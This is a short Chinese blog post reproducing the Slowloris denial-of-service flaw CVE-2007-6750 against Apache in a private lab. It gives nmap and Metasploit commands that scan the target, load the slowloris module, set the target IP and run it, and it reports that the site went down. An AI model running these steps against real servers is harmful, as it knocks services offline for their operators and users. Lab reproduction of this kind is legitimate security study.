CVE 2007-6750复现slowloris攻击

admin 网络安全 2021年3月2日

7.30W 0 60

CVE-2007-6750复现

一.介绍及准备

1.本文介绍CVE-2007-6750复现。2.准备：kali系统、win2003 Enterprise

二.CVE-2007-6750复现

Apache HTTP服务器1.x和2.x允许远程攻击者通过部分HTTP请求导致拒绝服务(守护进程中断)，如Slowloris所示，这与2.2.15之前版本中缺少mod_ReqTimeout模块有关

Apache 1.x/2.x

nmap -sV -p80 192.168.146.175(用nmap查看Apache版本)(Apache2.2.3初步断定存在漏洞)

接着访问网站查看是否正常(发现网站正常)

msfconsole(启动metasploit)

use auxiliary/dos/http/slowloris(使用模块)

set RHOST 192.168.146.175(设置目标IP)

run(执行攻击)

再访问网站查看是否正常(发现网站瘫痪)

本文由泓源视野作者：admin 发表，其版权均为泓源视野所有，文章内容系作者个人观点，不代表泓源视野对观点赞同或支持。如需转载，请注明文章来源。